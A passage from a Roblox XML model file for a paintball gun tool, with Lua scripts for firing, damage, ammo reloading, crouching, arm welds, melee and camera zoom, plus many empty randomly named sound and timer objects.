							<string name="Name">zxp6kunzd</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX6349">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Looped">false</bool>
						<string name="Name">acflf7</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Geometry" referent="RBX6350">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">No samurai plzzz</string>
				</Properties>
				<Item class="Timer" referent="RBX6351">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">odtzmx</string>
					</Properties>
					<Item class="StockSound" referent="RBX6352">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">plfl5epz</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX6353">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Deth 2 teh samurai!</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Timer" referent="RBX6354">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">z254k5x</string>
						</Properties>
						<Item class="StockSound" referent="RBX6355">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">lj9b7v</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX6356">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">zxp6kunzd</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX6357">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Looped">false</bool>
						<string name="Name">acflf7</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Geometry" referent="RBX6358">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">No samurai plzzz</string>
				</Properties>
				<Item class="Timer" referent="RBX6359">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">odtzmx</string>
					</Properties>
					<Item class="StockSound" referent="RBX6360">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">plfl5epz</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX6361">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Deth 2 teh samurai!</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Timer" referent="RBX6362">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">z254k5x</string>
						</Properties>
						<Item class="StockSound" referent="RBX6363">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">lj9b7v</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX6364">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">zxp6kunzd</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX6365">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Looped">false</bool>
						<string name="Name">acflf7</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
					</Properties>
				</Item>
			</Item>
			<Item class="SpecialMesh" referent="RBX6366">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><null></null></Content>
					<token name="MeshType">3</token>
					<string name="Name">Bullet</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>0.150000006</X>
						<Y>0.150000006</Y>
						<Z>0.150000006</Z>
					</Vector3>
					<Content name="TextureId"><null></null></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="Timer" referent="RBX6367">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">3hdmi</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX6368">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BrickCleanup</string>
					<ProtectedString name="Source">-- this script removes its parent from the workspace after 24 seconds

wait(11)
script.Parent.Parent = nil</ProtectedString>
				</Properties>
				<Item class="Timer" referent="RBX6369">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">983kc2hn4</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6370">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>2.01144171</X>
						<Y>1.74819779</Y>
						<Z>0.497779429</Z>
						<R00>-0.00103896856</R00>
						<R01>0.991731167</R01>
						<R02>0.128315672</R02>
						<R10>-0.000682620332</R10>
						<R11>0.128318682</R11>
						<R12>-0.991733193</R12>
						<R20>-0.999997139</R20>
						<R21>-0.00111865997</R21>
						<R22>0.000540932291</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.00289673172</X>
						<Y>-0.00209712214</Y>
						<Z>0.00022578417</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.101371445</X>
						<Y>-0.00325836102</Y>
						<Z>0.0101310564</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="CylinderMesh" referent="RBX6371">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.285714298</X>
							<Y>0.821428597</Y>
							<Z>0.25</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX6372">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">PaintballShooter</string>
					<ProtectedString name="Source">Tool = script.Parent

colors = {26,}

function fire(v)
if (script.Parent.AmmoScript.Clip.Value == 0) then return 
	end 
	script.Parent.AmmoScript.Clip.Value = script.Parent.AmmoScript.Clip.Value - 1
	print(Ammo)


	Tool.Handle.Fire:play()Tool.Parent.Torso:findFirstChild(&quot;Right Shoulder&quot;).CurrentAngle = 2
	

	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	local missile = Instance.new(&quot;Part&quot;)


        

	local spawnPos = vCharacter.PrimaryPart.Position
	


	spawnPos  = spawnPos + (v * 8)

	missile.Position = spawnPos
	missile.Size = Vector3.new(1,1,1)
	missile.Velocity = v * 900 + Vector3.new(math.random(-1,0),math.random(-1,0),math.random(-1,0))
	missile.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
	missile.Shape = 0.5
	missile.BottomSurface = 0
	missile.TopSurface = 0
	missile.Name = &quot;Paintball&quot;
	missile.Elasticity = 0
	missile.Reflectance = .1
	missile.Friction = .3


	local force = Instance.new(&quot;BodyForce&quot;)
	force.force = Vector3.new(0,100,0)
	force.Parent = missile
	
	Tool.BrickCleanup:clone().Parent = missile
local new_mesh = script.Parent.Bullet:clone()
	new_mesh.Parent = missile

	local new_script = script.Parent.Paintball:clone()
	new_script.Disabled = false
	new_script.Parent = missile
	local creator_tag = Instance.new(&quot;ObjectValue&quot;)
	creator_tag.Value = vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	


	missile.Parent = game.Workspace

end



Tool.Enabled = true
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false
	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint
	local lookAt = (targetPos - character.Head.Position).unit

	fire(lookAt)

	wait(2)

	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</ProtectedString>
				</Properties>
				<Item class="Timer" referent="RBX6373">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">s9pxs</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX6374">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Paintball</string>
					<ProtectedString name="Source">ball = script.Parent
damage = 80



function onTouched(hit)
	local humanoid = hit.Parent:findFirstChild(&quot;Humanoid&quot;)
	hit:BreakJoints()

	if humanoid ~= nil then
		tagHumanoid(humanoid)
		humanoid.Health = humanoid.Health - damage
		wait(.5)
		untagHumanoid(humanoid)
	end

	connection:disconnect()
	ball.Parent = nil
end

function tagHumanoid(humanoid)
	-- todo: make tag expire
	local tag = ball:findFirstChild(&quot;creator&quot;)
	if tag ~= nil then
		local new_tag = tag:clone()
		new_tag.Parent = humanoid
	end
end


function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

connection = ball.Touched:connect(onTouched)

wait(2)
ball.Parent = nil</ProtectedString>
				</Properties>
				<Item class="Timer" referent="RBX6375">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">qkcxueo</string>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX6376">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Crouch</string>
					<ProtectedString name="Source">on = 0
Tool = script.Parent
welds = {}
sh = {}
arms = nil
torso = nil
f = nil
function Crouch(ison)
if arms == nil and torso == nil then
arms = {Tool.Parent:FindFirstChild(&quot;Left Leg&quot;), Tool.Parent:FindFirstChild(&quot;Right Leg&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
end
if arms ~= nil and torso ~= nil then
sh = {torso:FindFirstChild(&quot;Left Hip&quot;), torso:FindFirstChild(&quot;Right Hip&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
if ison == 1 then
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.75, 1)
arms[1].Name = &quot;LDave&quot;
arms[1].CanCollide = true
welds[1] = weld1
-------------------------------------------
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(0.5,0.495,1.25) * CFrame.fromEulerAnglesXYZ(math.rad(90),0,0)
arms[2].Name = &quot;RDave&quot;
arms[2].CanCollide = true
welds[2] = weld2
---------------------------------
local force = Instance.new(&quot;BodyForce&quot;)
force.Parent = torso
f = force
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = &quot;Right Leg&quot;
arms[1].Name = &quot;Left Leg&quot;
welds[1].Parent = nil
welds[2].Parent = nil
end
end
--
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
function Key(key)
if key then
key = string.lower(key)
if (key==&quot;c&quot;) then
if on == 1 then
on = 0
elseif on == 0 then
on = 1
end
Crouch(on)
end
end
end
function Equip(mouse)
mouse.KeyDown:connect(Key)
end
script.Parent.Equipped:connect(Equip)

</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX6377">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">OnEquiped</string>
					<ProtectedString name="Source">Tool = script.Parent
print(&quot;Welding...&quot;)

function Weldnow()
	local w1 = Instance.new(&quot;Weld&quot;)
	w1.Parent = Tool.Handle
	w1.Part0 = w1.Parent
	w1.Part1 = Tool.SPos
	w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(-1, 0.5, 0)
	Tool.SPos.CanCollide = false
end

Tool.Equipped:connect(Weldnow)
Tool.Unequipped:connect(Weldnow)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX6378">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX6379">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Welding</string>
					<ProtectedString name="Source">function Weld(x,y)
	local W = Instance.new(&quot;Weld&quot;)
	W.Part0 = x
	W.Part1 = y
	local CJ = CFrame.new(x.Position)
	local C0 = x.CFrame:inverse()*CJ
	local C1 = y.CFrame:inverse()*CJ
	W.C0 = C0
	W.C1 = C1
	W.Parent = x
end

function Get(A)
	if A.className == &quot;Part&quot; then
		Weld(script.Parent.Handle, A)
		A.Anchored = false
	else
		local C = A:GetChildren()
		for i=1, #C do
		Get(C[i])
		end
	end
end

function Finale()
	Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX6380">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">AmmoScript</string>
					<ProtectedString name="Source">Tool = script.Parent 
function equip()
	print(&quot;Equipped&quot;)
	if game.Players.LocalPlayer ~= nil then
		local m = Instance.new(&quot;Message&quot;)
		m.Parent = game.Players.LocalPlayer
		m.Name = &quot;AmmoStats&quot;
		while m ~= nil do
			wait(0.1)
			m.Text = &quot;Ammo: &quot;..script.Ammo.Value..&quot;  Clip: &quot;..script.Clip.Value
		end
	end
end

function unequip()
	print(&quot;Unequipped&quot;)
	if game.Players.LocalPlayer ~= nil then
		print(&quot;localplayer found&quot;)
		local m = game.Players.LocalPlayer:FindFirstChild(&quot;AmmoStats&quot;)
		if m ~= nil then
			m:remove()
		end
	end
end

script.Parent.Equipped:connect(equip)
script.Parent.Unequipped:connect(unequip)
</ProtectedString>
				</Properties>
				<Item class="IntValue" referent="RBX6381">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Ammo</string>
						<int name="Value">300</int>
					</Properties>
					<Item class="Timer" referent="RBX6382">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">yl6iki640</string>
						</Properties>
					</Item>
				</Item>
				<Item class="IntValue" referent="RBX6383">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Clip</string>
						<int name="Value">30</int>
					</Properties>
					<Item class="Timer" referent="RBX6384">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">sndn</string>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX6385">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Reload</string>
							<ProtectedString name="Source">print(&quot;Ammo Clip Loaded&quot;)

while true do
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value &gt;= 30) then
		wait(3)
		script.Parent.Value = 30
		script.Parent.Parent.Ammo.Value = script.Parent.Parent.Ammo.Value - 30
	end
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value &lt;= 30) then
		wait(3)
		script.Parent.Value = script.Parent.Parent.Ammo.Value
		script.Parent.Parent.Ammo.Value = 0
	end
	wait(0)
end
</ProtectedString>
						</Properties>
						<Item class="Timer" referent="RBX6386">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">g541ltc0</string>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Timer" referent="RBX6387">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">nfc2eh</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Sound" referent="RBX6388">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Looped">false</bool>
					<string name="Name">Melee</string>
					<float name="Pitch">1</float>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">1</float>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX6389">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BackupWeld</string>
					<ProtectedString name="Source">function Weld(x,y)
	local W = Instance.new(&quot;Weld&quot;)
	W.Part0 = x
	W.Part1 = y
	local CJ = CFrame.new(x.Position)
	local C0 = x.CFrame:inverse()*CJ
	local C1 = y.CFrame:inverse()*CJ
	W.C0 = C0
	W.C1 = C1
	W.Parent = x
end

function Get(A)
	if A.className == &quot;Part&quot; then
		Weld(script.Parent.Handle, A)
		A.Anchored = false
	else
		local C = A:GetChildren()
		for i=1, #C do
		Get(C[i])
		end
	end
end

function Finale()
	Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX6390">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">LocalMelee</string>
					<ProtectedString name="Source">--[[

Dax,

See the MeleeScript.

]]

local canmelee = true;
local tool = script.Parent;

function onKeyDown(key)
	key:lower();
	if key == &quot;v&quot; then
		if canmelee == false then
			return;
		end

		tool.Melee:play()

		canmelee = false;

		local rgrip = tool.Parent[&quot;Right Arm&quot;].RightGrip;

		script.melee.Value = true;

		for i = 1,6 do
			rgrip.C1 = rgrip.C1 * CFrame.fromEulerAnglesXYZ(-0.55,0,0);
			wait();
		end

		wait(0.25);

		for i = 1, 6 do
			rgrip.C1 = rgrip.C1 * CFrame.fromEulerAnglesXYZ(0.55,0,0);
			wait();
		end

		script.melee.Value = false;

		wait(0.5);

		canmelee = true;
	end
end

function onSelect(mouse)
	mouse.KeyDown:connect(onKeyDown);
end


function blow(hit)
	local humanoid = hit.Parent:findFirstChild(&quot;Humanoid&quot;)
	if not humanoid then return end
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if tool held by a character
	if humanoid ~= hum and hum ~= nil and game.Players:playerFromCharacter(humanoid.Parent) and game.Players:playerFromCharacter(humanoid.Parent).TeamColor~=cc then
		tagHumanoid(humanoid, vPlayer)
		humanoid:TakeDamage(300)
		wait(1)
		untagHumanoid(humanoid)
	end
end


tool.Equipped:connect(onSelect);</ProtectedString>
				</Properties>
				<Item class="BoolValue" referent="RBX6391">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">melee</string>
						<bool name="Value">false</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX6392">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BackupWeld</string>
					<ProtectedString name="Source">function Weld(x,y)
	local W = Instance.new(&quot;Weld&quot;)
	W.Part0 = x
	W.Part1 = y
	local CJ = CFrame.new(x.Position)
	local C0 = x.CFrame:inverse()*CJ
	local C1 = y.CFrame:inverse()*CJ
	W.C0 = C0
	W.C1 = C1
	W.Parent = x
end

function Get(A)
	if A.className == &quot;Part&quot; then
		Weld(script.Parent.Handle, A)
		A.Anchored = false
	else
		local C = A:GetChildren()
		for i=1, #C do
		Get(C[i])
		end
	end
end

function Finale()
	Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX6393">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Zoom Script</string>
					<ProtectedString name="Source">a=false
cam=nil



function onEquipped(mouse2)
	mouse2.KeyDown:connect(onkeyDown)
	mouse = mouse2
end
function onkeyDown(key) 
	if key == &quot;z&quot; then
	if not a then 
		cam=game.Workspace.CurrentCamera:clone()
		cam.Parent=game.Workspace
		game.Workspace.CurrentCamera.CameraSubject = mouse.Target
		game.Workspace.CurrentCamera.CameraType=4
		a=true
	else
		game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character
		game.Workspace.CurrentCamera:Remove()
		game.Workspace.CurrentCamera=cam
		a=false
	end
end 
end




script.Parent.Equipped:connect(onEquipped)
</ProtectedString>
				</Properties>
				<Item class="Vector3Value" referent="RBX6394">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Zoom</string>
						<Vector3 name="Value">
							<X>5</X>
							<Y>5</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6395">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>2.36565089</X>
						<Y>1.794029</Y>
						<Z>0.49736464</Z>
						<R00>-0.00103911757</R00>
						<R01>0.991731524</R01>
						<R02>0.128316134</R02>
						<R10>-0.00068228133</R10>
						<R11>0.12831825</R11>
						<R12>-0.991733134</R12>
						<R20>-0.999997675</R20>
						<R21>-0.00111857057</R21>
						<R22>0.000541289221</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.00289673172</X>
						<Y>-0.00209712214</Y>
						<Z>0.00022578417</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.101380922</X>
						<Y>-0.00317958766</Y>
						<Z>0.0107411165</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="CylinderMesh" referent="RBX6396">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.285714298</X>
							<Y>0.821428597</Y>
							<Z>0.25</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6397">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
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					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.101387233</X>
						<Y>-0.00331985671</Y>
						<Z>0.00935733132</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="CylinderMesh" referent="RBX6511">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
